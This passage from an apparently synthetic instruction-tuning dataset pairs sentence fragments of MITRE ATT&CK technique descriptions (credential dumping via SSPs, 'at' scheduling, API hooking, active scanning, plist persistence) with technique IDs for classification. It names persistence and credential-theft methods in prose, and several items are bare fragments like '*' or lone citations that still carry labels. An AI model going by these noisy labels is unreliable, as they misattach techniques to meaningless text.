Windows, such as any logged-on user's Domain password or smart card PINs. ### Response: T1003.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The SSP configuration is stored in two Registry keys: <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages</code> and <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages</code>.", "output": "T1003.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The SSP configuration is stored in two Registry keys: <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages</code> and <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages</code>. ### Response: T1003.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)", "output": "T1003.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014) ### Response: T1003.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The following SSPs can be used to access credentials:\n\n*", "output": "T1003.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The following SSPs can be used to access credentials:\n\n* ### Response: T1003.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.", "output": "T1003.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package. ### Response: T1003.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "*", "output": "T1003.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * ### Response: T1003.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.(Citation:", "output": "T1003.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.(Citation: ### Response: T1003.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "TechNet Blogs Credential Protection)", "output": "T1003.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: TechNet Blogs Credential Protection) ### Response: T1003.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.", "output": "T1003.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later. ### Response: T1003.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* CredSSP:  Provides SSO and Network Level Authentication for Remote Desktop Services.(Citation:", "output": "T1003.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * CredSSP:  Provides SSO and Network Level Authentication for Remote Desktop Services.(Citation: ### Response: T1003.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "TechNet Blogs Credential Protection)", "output": "T1003.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: TechNet Blogs Credential Protection) ### Response: T1003.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial, recurring, or future execution of malicious code.", "output": "T1053.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial, recurring, or future execution of malicious code. ### Response: T1053.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux)", "output": "T1053.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux) ### Response: T1053.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence.", "output": "T1053.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. ### Response: T1053.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.", "output": "T1053.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account. ### Response: T1053.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands.", "output": "T1053.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. ### Response: T1053.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via <code>sudo</code>.(Citation: GTFObins at)", "output": "T1053.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via <code>sudo</code>.(Citation: GTFObins at) ### Response: T1053.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources.", "output": "T1179", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. ### Response: T1179."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions.", "output": "T1179", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. ### Response: T1179."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Hooking involves redirecting calls to these functions and can be implemented via:", "output": "T1179", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Hooking involves redirecting calls to these functions and can be implemented via: ### Response: T1179."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.", "output": "T1179", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. ### Response: T1179."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft Hook Overview) (Citation: Elastic Process Injection July 2017)\n*", "output": "T1179", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft Hook Overview) (Citation: Elastic Process Injection July 2017)\n* ### Response: T1179."}{"instruction": "List the MITRE techniques contained in the text.", "input": "**Import address table (IAT) hooking**, which use modifications to a process\u2019s IAT, where pointers to imported API functions are stored.", "output": "T1179", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: **Import address table (IAT) hooking**, which use modifications to a process\u2019s IAT, where pointers to imported API functions are stored. ### Response: T1179."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Elastic Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n*", "output": "T1179", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Elastic Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* ### Response: T1179."}{"instruction": "List the MITRE techniques contained in the text.", "input": "**Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.", "output": "T1179", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow. ### Response: T1179."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Elastic Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges.", "output": "T1179", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Elastic Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges. ### Response: T1179."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use.", "output": "T1179", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use. ### Response: T1179."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access.", "output": "T1179", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. ### Response: T1179."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017)", "output": "T1179", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) ### Response: T1179."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Hooking is commonly utilized by [Rootkit](https://attack.mitre.org/techniques/T1014)s to conceal files, processes, Registry keys, and other objects in order to hide malware and associated behaviors.", "output": "T1179", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Hooking is commonly utilized by [Rootkit](https://attack.mitre.org/techniques/T1014)s to conceal files, processes, Registry keys, and other objects in order to hide malware and associated behaviors. ### Response: T1179."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Symantec Windows Rootkits)", "output": "T1179", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Symantec Windows Rootkits) ### Response: T1179."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may iteratively probe infrastructure using brute-forcing and crawling techniques.", "output": "T1595.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may iteratively probe infrastructure using brute-forcing and crawling techniques. ### Response: T1595.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "While this technique employs similar methods to [Brute Force](https://attack.mitre.org/techniques/T1110), its goal is the identification of content and infrastructure rather than the discovery of valid credentials.", "output": "T1595.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: While this technique employs similar methods to [Brute Force](https://attack.mitre.org/techniques/T1110), its goal is the identification of content and infrastructure rather than the discovery of valid credentials. ### Response: T1595.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Wordlists used in these scans may contain generic, commonly used names and file extensions or terms specific to a particular software.", "output": "T1595.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Wordlists used in these scans may contain generic, commonly used names and file extensions or terms specific to a particular software. ### Response: T1595.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also create custom, target-specific wordlists using data gathered from other Reconnaissance techniques (ex: [Gather Victim Org Information](https://attack.mitre.org/techniques/T1591), or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).", "output": "T1595.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also create custom, target-specific wordlists using data gathered from other Reconnaissance techniques (ex: [Gather Victim Org Information](https://attack.mitre.org/techniques/T1591), or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). ### Response: T1595.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries may use web content discovery tools such as Dirb, DirBuster, and GoBuster and generic or custom wordlists to enumerate a website\u2019s pages and directories.(Citation:", "output": "T1595.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries may use web content discovery tools such as Dirb, DirBuster, and GoBuster and generic or custom wordlists to enumerate a website\u2019s pages and directories.(Citation: ### Response: T1595.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ClearSky Lebanese Cedar Jan 2021)", "output": "T1595.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ClearSky Lebanese Cedar Jan 2021) ### Response: T1595.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can help them to discover old, vulnerable pages or hidden administrative portals that could become the target of further operations (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [Brute Force](https://attack.mitre.org/techniques/T1110)).", "output": "T1595.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can help them to discover old, vulnerable pages or hidden administrative portals that could become the target of further operations (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [Brute Force](https://attack.mitre.org/techniques/T1110)). ### Response: T1595.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "As cloud storage solutions typically use globally unique names, adversaries may also use target-specific wordlists and tools such as s3recon and GCPBucketBrute to enumerate public and private buckets on cloud infrastructure.(Citation:", "output": "T1595.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: As cloud storage solutions typically use globally unique names, adversaries may also use target-specific wordlists and tools such as s3recon and GCPBucketBrute to enumerate public and private buckets on cloud infrastructure.(Citation: ### Response: T1595.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "S3Recon", "output": "T1595.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: S3Recon ### Response: T1595.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "GitHub)(Citation: GCPBucketBrute)", "output": "T1595.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: GitHub)(Citation: GCPBucketBrute) ### Response: T1595.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once storage objects are discovered, adversaries may leverage [Data from Cloud Storage](https://attack.mitre.org/techniques/T1530) to access valuable information that can be exfiltrated or used to escalate privileges and move laterally.", "output": "T1595.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once storage objects are discovered, adversaries may leverage [Data from Cloud Storage](https://attack.mitre.org/techniques/T1530) to access valuable information that can be exfiltrated or used to escalate privileges and move laterally. ### Response: T1595.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may scan victim IP blocks to gather information that can be used during targeting.", "output": "T1595.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may scan victim IP blocks to gather information that can be used during targeting. ### Response: T1595.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Public IP addresses may be allocated to organizations by block, or a range of sequential addresses.", "output": "T1595.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. ### Response: T1595.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may scan IP blocks in order to [Gather Victim Network Information](https://attack.mitre.org/techniques/T1590), such as which IP addresses are actively in use as well as more detailed information about hosts assigned these addresses.", "output": "T1595.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may scan IP blocks in order to [Gather Victim Network Information](https://attack.mitre.org/techniques/T1590), such as which IP addresses are actively in use as well as more detailed information about hosts assigned these addresses. ### Response: T1595.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Scans may range from simple pings (ICMP requests and responses) to more nuanced scans that may reveal host software/versions via server banners or other network artifacts.(Citation: Botnet Scan) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or", "output": "T1595.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Scans may range from simple pings (ICMP requests and responses) to more nuanced scans that may reveal host software/versions via server banners or other network artifacts.(Citation: Botnet Scan) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or ### Response: T1595.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).", "output": "T1595.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). ### Response: T1595.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may scan victims for vulnerabilities that can be used during targeting.", "output": "T1595.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may scan victims for vulnerabilities that can be used during targeting. ### Response: T1595.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Vulnerability scans typically check if the configuration of a target host/application (ex: software and version) potentially aligns with the target of a specific exploit the adversary may seek to use.", "output": "T1595.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Vulnerability scans typically check if the configuration of a target host/application (ex: software and version) potentially aligns with the target of a specific exploit the adversary may seek to use. ### Response: T1595.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These scans may also include more broad attempts to [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592) that can be used to identify more commonly known, exploitable vulnerabilities.", "output": "T1595.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These scans may also include more broad attempts to [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592) that can be used to identify more commonly known, exploitable vulnerabilities. ### Response: T1595.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Vulnerability scans typically harvest running software and version numbers via server banners, listening ports, or other network artifacts.(Citation: OWASP Vuln Scanning) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or", "output": "T1595.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Vulnerability scans typically harvest running software and version numbers via server banners, listening ports, or other network artifacts.(Citation: OWASP Vuln Scanning) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or ### Response: T1595.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).", "output": "T1595.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)). ### Response: T1595.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may execute active reconnaissance scans to gather information that can be used during targeting.", "output": "T1595", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may execute active reconnaissance scans to gather information that can be used during targeting. ### Response: T1595."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Active scans are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance that do not involve direct interaction.", "output": "T1595", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Active scans are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance that do not involve direct interaction. ### Response: T1595."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may perform different forms of active scanning depending on what information they seek to gather.", "output": "T1595", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may perform different forms of active scanning depending on what information they seek to gather. ### Response: T1595."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These scans can also be performed in various ways, including using native features of network protocols such as ICMP.(Citation: Botnet Scan)(Citation: OWASP Fingerprinting) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).", "output": "T1595", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These scans can also be performed in various ways, including using native features of network protocols such as ICMP.(Citation: Botnet Scan)(Citation: OWASP Fingerprinting) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)). ### Response: T1595."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can modify property list files (plist files) to execute their code as part of establishing persistence.", "output": "T1547.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can modify property list files (plist files) to execute their code as part of establishing persistence. ### Response: T1547.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Plist files are used by macOS applications to store properties and configuration settings for applications and services.", "output": "T1547.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Plist files are used by macOS applications to store properties and configuration settings for applications and services. ### Response: T1547.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Applications use information plist files, <code>Info.plist</code>, to tell the operating system how to handle the application at runtime using structured metadata in the form of keys and values.", "output": "T1547.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Applications use information plist files, <code>Info.plist</code>, to tell the operating system how to handle the application at runtime using structured metadata in the form of keys and values. ### Response: T1547.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Plist files are formatted in XML and based on Apple's Core Foundation DTD and can be saved in text or binary format.(Citation: fileinfo plist file description)", "output": "T1547.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Plist files are formatted in XML and based on Apple's Core Foundation DTD and can be saved in text or binary format.(Citation: fileinfo plist file description) ### Response: T1547.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can modify paths to executed binaries, add command line arguments, and insert key/pair values to plist files in auto-run locations which execute upon user logon or system startup.", "output": "T1547.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can modify paths to executed binaries, add command line arguments, and insert key/pair values to plist files in auto-run locations which execute upon user logon or system startup. ### Response: T1547.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Through modifying plist files in these locations, adversaries can also execute a malicious dynamic library (dylib) by adding a dictionary containing the <code>DYLD_INSERT_LIBRARIES</code> key combined with a path to a malicious dylib under the <code>EnvironmentVariables</code> key in a plist file.", "output": "T1547.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Through modifying plist files in these locations, adversaries can also execute a malicious dynamic library (dylib) by adding a dictionary containing the <code>DYLD_INSERT_LIBRARIES</code> key combined with a path to a malicious dylib under the <code>EnvironmentVariables</code> key in a plist file. ### Response: T1547.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Upon user logon, the plist is called for execution and the malicious dylib is executed within the process space.", "output": "T1547.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Upon user logon, the plist is called for execution and the malicious dylib is executed within the process space. ### Response: T1547.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Persistence can also be achieved by modifying the <code>LSEnvironment</code> key in the application's <code>Info.plist</code> file.(Citation: wardle artofmalware volume1)", "output": "T1547.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Persistence can also be achieved by modifying the <code>LSEnvironment</code> key in the application's <code>Info.plist</code> file.(Citation: wardle artofmalware volume1) ### Response: 